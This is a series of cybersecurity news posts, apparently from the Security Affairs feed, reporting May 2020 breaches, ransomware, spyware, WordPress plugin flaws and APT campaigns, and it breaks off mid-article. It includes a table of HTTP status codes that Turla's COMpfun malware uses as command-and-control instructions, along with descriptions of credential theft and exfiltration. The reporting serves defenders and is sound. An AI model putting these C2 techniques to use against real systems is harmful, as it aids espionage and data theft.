“Following discussions with the Information Commissioner’s Office (“ICO”), the Board of easyJet announces that it has been the target of an attack from a highly sophisticated source.” reads a statement from the company. “Our investigation found that the email address and travel details of approximately 9 million customers were accessed.” 

According to the company, hackers also accessed a small subset of customers and obtained credit card details for 2,208 of them, no passport details were exposed.

“Our forensic investigation found that, for a very small subset of customers (2,208), credit card details were accessed.” continues the company.

At the time of writing the airline did not disclose details of the security breach, it is not clear when the incident took place and how EasyJet discovered the intrusion.


EasyJet conducted a forensic investigation and once identifies the unauthorized access has locked it.

The airline reported the incident to the Information Commissioner’s Office (“ICO”), the good news is that the company is not aware of any attack in the wild that abused the stolen information.

EasyJet is still investigating the security breach.

“We take the cybersecurity of our systems very seriously and have robust security measures in place to protect our customers’ personal information. However, this is an evolving threat as cyber attackers get ever more sophisticated,” says EasyJet Chief Executive Officer Johan Lundgren.

“Since we became aware of the incident, it has become clear that owing to COVID-19, there is heightened concern about personal data being used for online scams. Every business must continue to stay agile to stay ahead of the threat.”

The airline has started notifying the incident to all the impacted customers and is recommending them to be “extra vigilant, particularly if they receive unsolicited communications.”

According to the Reuters that cited two people familiar with the investigation, hacking tools and techniques used by attackers point to a group of suspected Chinese hackers that targeted multiple airlines in recent months.

Pierluigi Paganini

(SecurityAffairs – EasyJet, hacking)

The post Easyjet hacked: 9 million customer’s data exposed along with 2,200+ credit card details appeared first on Security Affairs.

129 million records of Russian car owners available on the dark web

A hacker is offering for sale on a dark web forum a database containing 129 million records of car owners in Moscow.

A hacker is attempting to sell on a dark web forum a database containing 129 million records of car owners in Moscow.

As a proof of the authenticity of the data, the hacker has leaked some anonymized data containing all the car details present in the traffic police registry.

The archive doesn’t include car owners’ details, exposed data includes the car’s make and model, place of registration, and the date of first and last registration.

The seller is offering the full version of the database for 0.3 BTC, which at the current rate is about $ 2677, paying 1.5 BTC ($ 13.386) it is possible to purchase information for “exclusive use.”

The accuracy of the data has been verified by Vedomosti media.

“Hackers posted a darknet database of Russian car owners, it includes 129 million positions from the traffic police registry. The authenticity of the information was confirmed by an employee of the car-sharing company, Vedomosti reports.” reads the website rbc.ru.

“In the published data there is only anonymized information. These include: place and date of registration of the car, make and model. According to hackers, the full version also contains the name, address, date of birth, passport numbers of car owners and their contact information.”

According to the Russian blog Nora the Hedgehog, several portals where people can pay fines for violating COVID-19 quarantine are leaking their full names and passport numbers by simply providing the registration number of the ticket.

The worst news is that the portals don’t implement any protection against brute-force attacks, allowing attackers to try all the possible combinations of unique ticket numbers to retrieve personal details of the people that paid the fines.

Pierluigi Paganini

(SecurityAffairs – dark web, hacking)

The post 129 million records of Russian car owners available on the dark web appeared first on Security Affairs.

A bug in Edison Mail iOS app impacted over 6,400 users

A security bug in the iOS app has impacted over 6,400 Edison Mail users, the issue allowed some users to access other people’s email accounts.

An update released for iOS application of the Edison Mail introduced a security bug that resulted in some users being given access to other people’s email accounts.

“On Friday, May 15th, 2020, a software update enabled users to manage accounts across their Apple devices. This update caused a technical malfunction that impacted approximately 6,480 Edison Mail iOS users. The issue only impacted a fraction of our iOS app users (and no Android or Mac users were affected). This temporary issue was a bug, and not related to any external security issues.” reads a post published by the company.

“Data from these individual’s impacted email accounts may have been exposed to another user. No passwords were compromised. “

The Edison Mail app allows users to manage their Gmail, Yahoo, Outlook, iCloud, and other email services in a single place. The company offers apps for iOS, Android and macOS, and says its products are used by millions of individuals.

edison mail assistant-ios

The update was rolled out on May 15, it included a feature that allows users to manage their accounts across their Apple devices.

Shortly after the patch was released, some users started reporting they could access other people’s email accounts from the iOS app without authentication.

Edison quickly solved the issue, the company confirmed that the bug potentially impacted 6,480 iOS users.

Edison Mail also confirmed that user credentials were not exposed.

The company addressed the issue with two updates, the first one on Saturday that prevented impacted users from accessing any account from the Edison app, the second one on Sunday morning, which re-enabled access for impacted users.

“A new version of the application was made available early Sunday morning in the App Store that restores full functionality for these 6,480 users. Other users were not impacted and no action is required.” added the company.

“We have notified all individual users who may have been impacted by this issue via email, and as an additional safety precaution, suggested that impacted users also change their email account password. If you did not receive an email on this issue then your account was not impacted,”

Pierluigi Paganini

(SecurityAffairs – Edison Mail, hacking)

The post A bug in Edison Mail iOS app impacted over 6,400 users appeared first on Security Affairs.

Texas Department of Transportation (TxDOT) hit by a ransomware attack

A new ransomware attack hit the Texas government, the malware this time infected systems at the state’s Department of Transportation (TxDOT).

The Texas government suffered two ransomware attacks in a few weeks, the first one took place on May 8, 2020 and infected systems at the Texas court.

Now ransomware has infected malware the systems at the state’s Department of Transportation (TxDOT), that attack forced the administrators to shut down the systems to avoid the propagation of the ransomware.

The state’s Department of Transportation (TxDOT) discovered the second attack on May 14, the infection follows an unauthorized access to the Department’s network.

“The Texas Department of Transportation determined that on May 14, 2020, there was unauthorized access to the agency’s network in a ransomware event” states the TxDOT.

The agency immediately took steps to prevent further damages and isolated impacted systems, it “working to ensure critical operations continue during this interruption.”

The agency reported the incident to local authorities and is investigating into the incident with the help of the FBI.

At the time of writing it is not clear if the two attacks are connected, there are no technical details about both incidents either if the attackers have stolen any data.

In August 2019, Texas was hit by a wave of ransomware attacks that are targeting local governments.

At least 23 local government organizations were impacted by the ransomware attacks, the Department of Information Resources (DIR) is currently investigating them and providing supports to mitigate the attacks.

Pierluigi Paganini

(SecurityAffairs – TxDOT, hacking)

The post Texas Department of Transportation (TxDOT) hit by a ransomware attack appeared first on Security Affairs.

Mandrake, a high sophisticated Android spyware used in targeted attacks

Security experts discovered a highly sophisticated Android spyware platform, dubbed Mandrake, that remained undetected for four years.

Researchers from Bitdefender discovered a high-sophisticated Android spyware platform dubbed Mandrake, it was involved in highly targeted attacks against specific devices. Mandrake is an advanced cyberespionage platform, but experts believe the attacks are financially motivated.

Threat actors behind this campaign managed to fly under the radar for as long as possible. Attackers carefully selected the devices to infect and avoid compromise devices in countries that are of interest to them.

“Mandrake stood in the shadow for at least 4 years. During this time, it stole data from at least tens of thousands of users.” reads the report published by Bitdefender. “It takes special care not to infect everyone” – This is exactly what the actor did and most likely why it remained under the radar for 4 full years. Because of this strategy, the actual number of infections we were able to trace is quite low; Google Play Apps used as droppers to infect targets have only hundreds or – in some cases – thousands of downloads. It might even be possible that some of the infected users won’t face an attack at all if they present no interest to the actor.”

Most of the infections are in Australia, followed in Europe, America, and Canada. Experts observed two different waves of attacks, a first one in 2016 and 2017.

Experts detected seven malicious applications delivering Mandrake in Google Play alone, namely Abfix, CoinCast, SnapTune Vid, Currency XE Converter, Office Scanner, Horoskope, and Car News.

Mandrake

Sinkholing performed by the experts revealed about 1,000 victims during a 3-week period. The researchers estimated that the tens of thousands, and probably hundreds of thousands, were infected in the last 4 years.

During the past four years, the platform has received numerous updates, operators constantly implemented new features.

Mandrake allows attackers to gain complete control over an infected device and exfiltrate sensitive data, it also implements a kill-switch feature (a special command called seppuku (Japanese form of ritual suicide)) that wipes all victims’ data and leave no trace of malware.

“The attacker has access to data such as device preferences, address book and messages, screen recording, device usage and inactivity times, and can
obviously paint a pretty accurate picture of the victim, and their whereabouts.” continues the report. “The malware has complete control of the device: it can turn down the volume of the phone and block calls or messages, steal credentials, exfiltrate information, to money transfers and blackmailing. It can conduct phishing attacks, by loading a webpage and injecting a specially crafted JavaScript code to retrieve all data from input forms.”

The list of targets is long and includes an Australian investment trading app, crypto-wallet apps, the Amazon shopping application, Gmail, banking software, payment apps, and an Australian pension fund app.

The malware avoids the detection delaying the activities and working in three stages: dropper, loader, and core.

The dropper is represented by the apps published in Google Play, while it is not possible to determine when the loader and the core are delivered.

The malware implements evasion techniques such as anti-emulation and leverages administrator privileges and the Accessibility Service to achieve persistence.

The report contains technical details about the threat, including Indicators of Compromise.

Pierluigi Paganini

(SecurityAffairs – Mandrake, hacking)

The post Mandrake, a high sophisticated Android spyware used in targeted attacks appeared first on Security Affairs.

Stored XSS in WP Product Review Lite plugin allows for automated takeovers

A critical flaw in the WP Product Review Lite plugin installed on over 40,000 WordPress sites could potentially allow their take over.

Attackers could exploit a critical vulnerability in the WP Product Review Lite WordPress plugin to inject malicious code and potentially take over vulnerable websites.

The WP Product Review Lite plugin allows site owners to quickly create custom review articles using pre-defined templates, it is currently installed on over 40,000 WordPress sites.

The vulnerability was discovered by researchers at Sucuri Labs, it is a persistent XSS that could be exploited by remote, unauthenticated attackers.

“During a routine research audit for our Sucuri Firewall, we discovered an Unauthenticated Persistent Cross-Site Scripting (XSS) affecting 40,000+ users of the WP Product Review plugin.” reads the analysis published by Sucuri.

“All user input data is sanitized but the WordPress function used can be bypassed when the parameter is set inside an HTML attribute. A successful attack results in malicious scripts being injected in all the site’s products.”

Attackers can bypass the WordPress user input data sanitization function to exploit the Stored Cross-Site Scripting (Stored XSS) issue. Upon triggering the flaw, the attackers could inject malicious scripts in all the products stored in the database of the targeted website.

An attacker could trick a site admin into accessing the compromised products, then they could redirect them to a rogue site, or steal the session cookies to authenticate on behalf of the administrator.

Once the attacker has authenticated as an admin, it could add a new admin account to take over the site.

Researchers at the Sucuri Labs revealed that they are not aware of any attacks in the wild exploiting the flaw.

Experts recommend site administrators to update their plugin to version 3.7.6 as soon as possible because unauthenticated attacks could be automated by attackers.

“Unauthenticated attacks are very serious because they can be automated, making it easy for hackers to mount successful, widespread attacks against vulnerable websites,” Sucuri Labs conclude.

“The number of active installs, the ease of exploitation, and the effects of a successful attack are what makes this vulnerability particularly dangerous.”

The vulnerability was reported to the plugin developers on May 13, and it was fixed in only 24 hours, on May 14, 2020.

At the time of writing, more than 7,000 users have already fixed their WP Product Review Lite plugin, this means that more than 32,000 sites have yet to do it.

Pierluigi Paganini

(SecurityAffairs – WP Product Review Lite, hacking)

The post Stored XSS in WP Product Review Lite plugin allows for automated takeovers appeared first on Security Affairs.

Microsoft is open-sourcing COVID-19 threat intelligence

Microsoft has recently announced that it has made some of its COVID-19 threat intelligence open-source. 

While the number of Coronavirus-themed attacks continues to increase increased Microsoft announced it is open-sourcing its COVID-19 threat intelligence to help organizations to repeal these threats.

“Microsoft processes trillions of signals each day across identities, endpoint, cloud, applications, and email, which provides visibility into a broad range of COVID-19-themed attacks, allowing us to detect, protect, and respond to them across our entire security stack.” reads a post published by Microsoft. “Today, we take our COVID-19 threat intelligence sharing a step further by making some of our own indicators available publicly for those that are not already protected by our solutions. “

Sharing information could offer the community a more complete view of attackers’ tactics, techniques, and procedures.

Microsoft experts have already been sharing examples of malicious lures and have provided guided hunting of COVID-themed attacks through Azure Sentinel Notebooks.

COVID malspam

Microsoft is going to publicly release some of its threat indicators, the company pointed out that its users are already protected against these attacks by Microsoft Threat Protection (MTP).

Microsoft has made available the indicators both in the Azure Sentinel GitHub repo, and through the Microsoft Graph Security API.

“These indicators are now available in two ways. They are available in the Azure Sentinel GitHub and through the Microsoft Graph Security API. For enterprise customers who use MISP for storing and sharing threat intelligence, these indicators can easily be consumed via a MISP feed.” continues Microsoft.

“This threat intelligence is provided for use by the wider security community, as well as customers who would like to perform additional hunting, as we all defend against malicious actors seeking to exploit the COVID crisis.”

This is just the beginning of the threat intelligence sharing of Coronavirus-related IOCs that will be offered through the peak of the outbreak.

Microsoft is releasing file hash indicators related to malicious email attachments employed in the campaigns. 

Azure Sentinel customers can import the indicators using a Playbook or access them directly from queries. Microsoft added that both Office 365 ATP and Microsoft Defender ATP already block the attacks associated with the above indicators.

Pierluigi Paganini

(SecurityAffairs – Coronavirus, hacking)

The post Microsoft is open-sourcing COVID-19 threat intelligence appeared first on Security Affairs.

QNodeService Trojan spreads via fake COVID-19 tax relief

Experts spotted a new malware dubbed QNodeService that was involved in Coronavirus-themed phishing campaign, crooks promise victims COVID-19 tax relief.

Researchers uncovered a new malware dubbed QNodeService that was employed in a Coronavirus-themed phishing campaign. The operators behind the campaign use COVID-19 lure promising victims tax relief.

The phishing messages use Trojan sample associated with a file named “Company PLP_Tax relief due to Covid-19 outbreak CI+PL.jar,” experts from MalwareHunterTeam noticed that the malicious code was only detected by ESET AV.

The QNodeService Trojan is written in Node.js and is delivered through a Java downloader embedded in the .jar file, Trend Micro warns. 

“Running this file led to the download of a new, undetected malware sample written in Node.js; this trojan is dubbed as “QNodeService”.” reads the analysis published by Trend Micro.

“The use of Node.js is an unusual choice for malware authors writing commodity malware, as it is primarily designed for web server development, and would not be pre-installed on machines likely to be targeted. However, the use of an uncommon platform may have helped evade detection by antivirus software.”

QNodeService is able to perform a broad range of activities, such as download/upload/execute files, steal credentials from Chrome/Firefox browsers, and perform file management. The malware can also steal system information including IP address and location, download additional malware payloads, and exfiltrate stolen data. The actual malware only targets Windows systems, but experts believe that developers are working to make it a cross-platform threat.

The Java downloader is obfuscated via Allatori in the bait document, the malware downloads the Node.js malware file (either “qnodejs-win32-ia32.js” or “qnodejs-win32-x64.js”) and a file called “wizard.js.” 

Either a 32-bit or 64-bit version of Node.js is dropped depending on the Windows system architecture of the target machine. 

The wizard.js file is an obfuscated Javascript (Node.js) file used to acheve persistence by creating a “Run” registry key entry and for downloading another malicious payload.

One of the most interesting feature implemented by the QNodeService malware is the support for an “http-forward” command, which allows attackers to download files without directly connecting to a victim’s PC. 

“Of particular note is the http-forward command, which allows an attacker to download a file without directly connecting to the victim machine, as shown below in figures 13-16.” continues Trend Micro. “However, a valid request path and access token are required to access files on the machine. The C&C server must first send “file-manager/forward-access” to generate the URL and access token to use for the http-forward command later.”

Trend Micro researchers included Indicators of Compromise (IoCs) in their report.

Unfortunately, Coronavirus-themed attacks continue to target individuals, businesses, and organizations worldwide.

At the end of March, experts from IBM X-Force uncovered a hacking campaign employing the Zeus Sphinx malware that focused on government relief payment.

Operators were spreading it in a spam campaign aimed at stealing victims’ financial information, the spam messages sent to the victims claim to provide information related to the Coronavirus outbreak and government relief payments

Researchers revealed that the malware is receiving constant upgrades to improve its capabilities. 

Pierluigi Paganini

(SecurityAffairs – Coronavirus, hacking)

The post QNodeService Trojan spreads via fake COVID-19 tax relief appeared first on Security Affairs.

Chinese APT Tropic Trooper target air-gapped military Networks in Asia

Chinese threat actors, tracked as Tropic Trooper and KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines.

Chinese APT group Tropic Trooper, aka KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines, Trend Micro researchers reported.

The Tropic Trooper APT that has been active at least since 2011, it was first spotted in 2015 by security experts at Trend Micro when it targeted government ministries and heavy industries in Taiwan and the military in the Philippines.

The threat actor targeted government offices, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong.

Since December 2014, the threat actors are using a malware dubbed USBferry in attacks against military/navy agencies, government institutions, military hospitals, and also a national bank.

“Recently, we discovered the Tropic Trooper group targeting Taiwanese and the Philippine military’s physically isolated environment using a USBferry attack (the name derived from a sample found in a related research).” reads the analysis published by Trend Micro. “USBferry has variants that perform different commands depending on specific targets; it can also combine capabilities, improve its stealth in infected environments, and steal critical information through USB storage”

Tropic Trooper

The USBferry USB malware could execute various commands on specific the infected system and allow to exfiltrate sensitive data through USB storage.

According to Trend Micro’s telemetry, attacks that employ USBferry attack are ongoing since December 2014 and has been targeting military or government users located in Asia.

The malware was first mentioned in a PwC report that attributes it to Tropic Trooper APT, but that did not include a detailed analysis.

The attackers would first target organizations related to military or government that implements fewer security measures compared with the real targets, then they attempt to use them as a proxy to the final target. In one case, the hackers compromised a military hospital and used it to move to the military’s physically isolated network.

Trend Micro researchers identified at least three versions of the malware with different variants and components.”

“Tropic Trooper uses the old way of achieving infection: by ferrying the installer into an air-gapped host machine via USB.” continues the report. “They employ the USB worm infection strategy using the USB device to carry the malware into the target’s computer and facilitate a breach into the secure network environment.”

The group used “tracert” and “ping” commands to map the target’s network
architecture (i.e. “tracert -h 8 8.8.8.8” collects the route (path) and measures transit delays of packets across an Internet Protocol (IP) network, while pings allow testing the target network’s connectivity).

The attackers attempted to determine if the infected machine has access to the internal network and the target mail portal.

In the absence of network connectivity, the malware collects information from the machine and copy the data to the USB drive.

The experts also discovered that the hackers use different backdoors in a recent attack, including WelCome To SvchostWelcome To IDShell, and Hey! Welcome Server.

The arsenal of the APT group includes scanning tools, a command-line remote control listener/port relay tool, and backdoor payload/steganography payload execution loaders.

“This targeted attack operation can be broken down into four important points.” concludes the report. “First, putting critical data in physically isolated networks is not an overarching solution for preventing cyberespionage activities. Second, their preferred technique of steganography isn’t just used to deliver payloads, but also for sending information back to the C&C server. Third, several hacking tools and components can be used to fulfill attacks in different target networks and environments. These tools and components also have a selfdelete command to make it tricky to trace the attack chain and all the related factors. Lastly, using an invisible web shell hides their C&C server location and makes detecting malicious traffic more difficult for network protection products

Pierluigi Paganini

(SecurityAffairs – Tropic Trooper, hacking)

The post Chinese APT Tropic Trooper target air-gapped military Networks in Asia appeared first on Security Affairs.

Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands

Russia-linked cyberespionage group Turla targets diplomatic entities in Europe with a new piece of malware tracked as COMpfun.

Security experts from Kaspersky Lab have uncovered a new cyberespionage campaign carried out by Russia-linked APT Turla that employs a new version of the COMpfun malware. The new malware allows attackers to control infected hosts using a technique that relies on HTTP status codes.

COMpfun was first spotted in the wild in 2014 by G DATA researchers, Kaspersky first observed the threat in autumn 2019 when it was employed in attacks against diplomatic entities across Europe.

“You may remember that in autumn 2019 we published a story about how a COMpfun successor known as Reductor infected files on the fly to compromise TLS traffic.” reads the analysis published by Kaspersky. “The campaign operators retained their focus on diplomatic entities, this time in Europe, and spread the initial dropper as a spoofed visa application.”

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

In March the APT group employed two new pieces of malware in watering hole attacks targeting several high-profile Armenian websites.

The COMpfun malware analyzed by Kaspersky implements a new technique to receive commands from the C2 as HTTP status codes.

COMpfun is a remote access trojan (RAT) that could collect system data, logs keystrokes, and takes screenshots.

Turla compfun

The new variant of the COMpfun malware includes two new features, the ability to monitor when USB removable devices plugged into or unplugged from the host, and the mentioned C2 communication technique.

The first feature was implemented to allow the malware propagating itself to the connected device.

The second feature was implemented to avoid detection, Turla vxers implemented new C2 protocol that relies on HTTP status codes.

HTTP status codes provide a state of the server and instruct clients on action to do (i.e. drop the connection), COMpfun exploited this mechanism to control the bot running on the compromised systems.

“We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918). Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status “Payment Required” (402), all these previously received commands are executed.” continues the analysis.

For example, if the COMpfun server would respond with a 402 status code, followed by a 200 status code, the malicious code sends collected target data to C2 with the current tickcount.

Below the list of commands associated with common HTTP status codes:

HTTP statusRFC status meaningCorresponding command functionality
200OKSend collected target data to C2 with current tickcount
402Payment RequiredThis status is the signal to process received (and stored in binary flag) HTTP statuses as commands
422Unprocessable Entity (WebDAV)Uninstall. Delete COM-hijacking persistence and corresponding files on disk
423Locked (WebDAV)Install. Create COM-hijacking persistence and drop corresponding files to disk
424Failed Dependency (WebDAV)Fingerprint target. Send host, network and geolocation data
427Undefined HTTP statusGet new command into IEA94E3.tmp file in %TEMP%, decrypt and execute appended command
428Precondition RequiredPropagate self to USB devices on target
429Too Many RequestsEnumerate network resources on target

“The malware operators retained their focus on diplomatic entities and the choice of a visa-related application – stored on a directory shared within the local network – as the initial infection vector worked in their favor. The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMPFun a strong offensive team.” concludes Kaspersky.

Pierluigi Paganini

(SecurityAffairs – Turla, malware)

The post Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands appeared first on Security Affairs.

Threat actors are offering for sale 550 million stolen user records

Threat actors are offering for sale tens of databases on a hacker forum that contains roughly 550 million stolen user records.

Security experts from Cyble reported that a threat actor is attempting to sell twenty-nine databases on a hacker forum since May 7. Forum members could also buy each database individually. The archives allegedly contain a total of 550 million stolen user records.

Data appears to come from past data breaches, the oldest one dates back as 2012 while the latest one dates April 2020.

The data could be used by crooks to launch credentials stuffing attacks against individuals and organizations.

Hackers are also offering for sale a separate database containing 47.1 million phone numbers that are part of Dubsmash data breach that occurred in 2018.

Below the list of databases, published by Bleepingcomputer, that are available for sale:

CompanyAmountData Breach Date
Evite.com101 millionMarch 2019
Tokopedia.com91 millionApril 2020
piZap.com60.9 millionApril 2018
Netlog.com (Twoo.com)57 millionNovember 2012
Dubsmash.com Phone numbers47.1 millionDecember 2018
Shein.com42 millionJune 2018
Fotolog.com33.5 millionDecember 2018
CafePress.com23.6 millionFebruary 2019
Wanelo.com Customers23.2 millionDecember 2018
OMGPop.com21.4 millionAugust 2019
SinglesNet.com16.3 millionSeptember 2012
Bukalapak.com13 millionFebruary 2018
Bookmate.com8 millionJuly 2018
ReverbNation.com7.9 millionJanuary 2014
Wego.com6.5 millionN/A
EatStreet.com6.4 millionMay 2019
PumpUp.com6.4 millionN/A
CoffeeMeetsBagel.com6.2 millionMay 2018
Storybird.com4 millionDecember 2018
Minube.net3.2 millionMay 2019
Sephora.com3.2 millionJanuary 2017
CafeMom.com2.6 millionApril 2014
Coubic.com2.6 millionMarch 2019
Roadtrippers.com2.5 millionMay 2019
DailyBooth.com1.6 millionApril 2014
ClassPass.com1.6 millionOctober 2017
ModaOperandi.com1.3 millionApril 2019
Rencanamu.id (Youthmanual.com)1.1 millionJanuary 2019
StreetEasy.com1 millionMay 2018
Yanolja.com1 millionMarch 2019

Users can verify if their credentials are part of one of the above breaches querying the the Cyble’s amibreached.com data breach lookup service.

Those who have their account exposed in one of the above incidents are recommended to change their password.

Pierluigi Paganini

(SecurityAffairs – threat actors, hacking)

The post Threat actors are offering for sale 550 million stolen user records appeared first on Security Affairs.

Crooks stole $10 million from Norway’s state investment fund Norfund

Norway’s state investment fund, Norfund, suffered a business email compromise (BEC) attack, hackers stole $10 million.

Hackers stole $10 million from Norway’s state investment fund, Norfund, in a business email compromise (BEC) attack.

Norfund is a private equity company established by the Norwegian Storting (parliament) in 1997 and owned by the Norwegian Ministry of Foreign Affairs. The fund receives its investment capital from the state budget.

The fraudsters compromised the Norfund email system and monitored communications between the employees of the fund and their partners for months.

Once identified the employee that responsible for money transfers. the attackers created a Norfund email address to impersonate an individual authorized to transfer large sums of money through the bank Norfund.

In a classic BEC scheme, hackers replaced the payment information provided to the partners to hijack the transfer to an account under their control in a bank in Mexico.

“Through an advance data breach, the defrauders were able to access information concerning a loan of USD 10 million (approx. 100 million NOK) from Norfund to a microfinance institution in Cambodia.” reads a notice published by Norfund.

“The defrauders manipulated and falsified information exchange between Norfund and the borrowing institution over time in a way that was realistic in structure, content and use of language. Documents and payment details were falsified”

Norfund was not able to block the fraudulent wire transfer because the attackers managed to delay of its discovery.

The BEC attack took place on March 16, but it was discovered more than a month later, on April 30 when the fraudsters attempted to carry out a new fraud, that was detected and blocked.

To delay the discovery of the scam, the attacker sent an email to the Cambodian beneficiary informing it of a delay due to the current Coronavirus lockdown in Norway.

“This is a grave incident. The fraud clearly shows that we, as an international investor and development organisation, through active use of digital channels are vulnerable. The fact that this has happened shows that our systems and routines are not good enough. We have taken immediate and serious action to correct this” said company CEO, Tellef Thorleifsson.

Pierluigi Paganini

(SecurityAffairs – BEC, hacking)

The post Crooks stole $10 million from Norway’s state investment fund Norfund appeared first on Security Affairs.

Zerodium will no longer acquire certain types of iOS exploits due to surplus

The popular zero-day broker Zerodium announced new limitations it the submission of certain types of iOS exploits due to surplus.

The exploit broker Zerodium announced that it’s no longer accepting certain types of iOS exploits due to surplus, this implies that prices for them will drop in the near future.

The company announced via Twitter that it would no longer accept submissions for iOS local privilege escalation, Safari remote code execution, and sandbox escape exploits, at least for the next months.

Zerodium argued that it has taken this decision due to the high number of submissions, an information that could give us an idea of how is prolific the hacking community.

Company experts believe that the prices for iOS one-click chains (e.g. via Safari) without persistence will likely drop in the next months.

Zerodium CEO Chaouki Bekrar criticized the current level of iOS security that is evidently going to zero.

“Let’s hope iOS 14 will be better,” said Chaouki Bekrar.

The decision of the company is coherent with the announcement made in September 2019 when Zerodium updated the price list for both Android and iOS exploits, with Android ones having surpassed the iOS ones for the first time.

For the first time, the price for Android exploits is higher than the iOS ones, this is what has emerged from the updated price list published by the zero-day broker Zerodium.

Currently a zero-click exploit chain for Android would be rewarded with up to $2.5 million, while an exploit chain for iOS only $2 million.

The tech giant is running a public bug bounty program through which it’s prepared to pay out up to $1 million for exploits that achieve persistence, bypass PAC and require no user interaction.

Pierluigi Paganini

(SecurityAffairs – zero-day vulnerability, hacking)

The post Zerodium will no longer acquire certain types of iOS exploits due to surplus appeared first on Security Affairs.

China-linked hackers are attempting to steal COVID-19 Vaccine Research

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal COVID-19 vaccine research.

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal research related to treatments and vaccines for COVID-19.

“The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are issuing this announcement to raise awareness of the threat to COVID-19-related research. The FBI is investigating the targeting and compromise of U.S. organizations conducting COVID-19-related research by PRC-affiliated cyber actors and non-traditional collectors.” reads the joint alert. “These actors have been observed attempting to identify and illicitly obtain valuable intellectual property (IP) and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.”

“The F.B.I. and the Department of Homeland Security are preparing to issue a warning that China’s most skilled hackers and spies are working to steal American research in the crash effort to develop vaccines and treatments for the coronavirus. The efforts are part of a surge in cybertheft and attacks by nations seeking advantage in the pandemic.” reported The New York Times.

“These actors have been observed attempting to identify and illicitly obtain valuable intellectual property and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research,” reads a statement from the FBI and the CISA.

“China’s efforts to target these sectors pose a significant threat to our nations response to COVID-19”.

The US agencies recommend targeted organizations to adopt cybersecurity best practices to prevent state-sponsored hackers from stealing COVID-19-related material.

“What else is new with China? What else is new? Tell me. I’m not happy with China.” President Trump commented. “We’re watching it very closely,”.

“China’s long history of bad behavior in cyberspace is well documented, so it shouldn’t surprise anyone they are going after the critical organizations involved in the nation’s response to the Covid-19 pandemic,” said Christopher Krebs, the director of the Cybersecurity and Infrastructure Security Agency. He added that the agency would “defend our interests aggressively.”

The Chinese Government rejected the allegation Beijing on Monday.

“We are leading the world in COVID-19 treatment and vaccine research. It is immoral to target China with rumors and slanders in the absence of any evidence,” Foreign Affairs ministry spokesman Zhao Lijian said.

The Chinese government is not the only one interested in COVID-19 research, nation-state hackers from Russia, Iran, and North Korea are launching spear-phishing and misinformation campaigns in the attempt to target organizations and scientists involved in the vaccine research.

Last week the US and the UK issued a joint alert to warn of the rise in cyber attacks carried out by foreign states against healthcare organizations and researchers.

This is my interview on the topic at TRT World

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post China-linked hackers are attempting to steal COVID-19 Vaccine Research appeared first on Security Affairs.

Google WordPress Site Kit plugin grants attacker Search Console Access

Experts found a critical bug in Google’s official WordPress plugin ‘Site Kit’ that could allow hackers to gain owner access to targeted sites’ Google Search Console.

The Site Kit WordPress plugin makes it easy to set up and configure key Google products (i.e. Search Console, Analytics, Tag Manager, PageSpeed Insights, Optimize, and AdSense), giving users authoritative and up-to-date advice on how to succeed on the web, it has over 300,000 active installations.

Experts from Wordfence found a critical bug in the ‘Site Kit’ plugin that could be exploited by authenticated attackers to gain owner access to targeted sites’ Google Search Console.

“This flaw allows any authenticated user, regardless of capability, to become a Google Search Console owner for any site running the Site Kit by Google plugin.” reads the analysis published by Wordfence.

Site Kit

The vulnerability is caused by the disclosure of the proxySetupURL contained in the HTML source code of admin pages, it is used to redirect a site’s administrator to Google OAuth and run the site owner verification process through a proxy.

“In order to establish the first connection with Site Kit and Google Search Console, the plugin generates a proxySetupURL that is used to redirect a site’s administrator to Google OAuth and run the site owner verification process through a proxy.” continues the analysis.

“Due to the lack of capability checks on the admin_enqueue_scripts action, the proxySetupURL was displayed as part of the HTML source code of admin pages to any authenticated user accessing the /wp-admin dashboard.”

Experts also noticed another issue related to the verification request used to verify a site’s ownership was a registered admin action fails to check whether the requests to come from any authenticated WordPress user.

Chaining the two vulnerabilities it is possible to achieve the ownership of the Google Search Console allowing an attacker to modify sitemaps, remove pages from Google search engine result pages (SERPs), or to facilitate black hat SEO campaigns.

“These two flaws made it possible for subscriber-level users to become Google Search Console owners on any affected site,” continues Wordfence.

“An owner in Google Search Console can do things like request that URLs be removed from the Google Search engine, view competitive performance data, modify sitemaps, and more. Unwarranted Google Search Console owner access on a site has the potential to hurt the visibility of a site in Google search results and impact revenue as an attacker removes URLs from search results. More specifically, it could be used to aid a competitor who wants to hurt the ranking and reputation of a site to better improve their own reputation and ranking.”

The good news is that Google sends an email alert when a new Google Search Console owners have been added allowing admins to remove the unknown owner.

As an extra precaution, admin can also reset the WordPress Site Kit connection so that they will have to reconnect all previously connected Google services.

Wordfence discovered the privilege escalation issue on April 21 and reported to Google on April 22.

Google addressed the vulnerability on May 7 with the release of Site Kit 1.8.0.

At the time of writing over 200,000 website owners have updated their Site Kit plugins, but over 100,000 sites are still vulnerable.

Pierluigi Paganini

(SecurityAffairs – Site Kit, hacking)

The post Google WordPress Site Kit plugin grants attacker Search Console Access appeared first on Security Affairs.

New Ramsay malware allows exfiltrating files from air-gapped computers

Experts discovered a new strain of malware dubbed Ramsay that can infect air-gapped computers and steal sensitive data, including Word, PDF, and ZIP files.

Researchers from security firm ESET discovered a new advanced malware framework named Ramsay that appears to have been designed to infect air-gapped computers and exfiltrate sensitive data.

The malicious code collects sensitive files, including Word, PDF, and ZIP files, in a hidden storage folder, then waits for the opportunity to exfiltrate them.

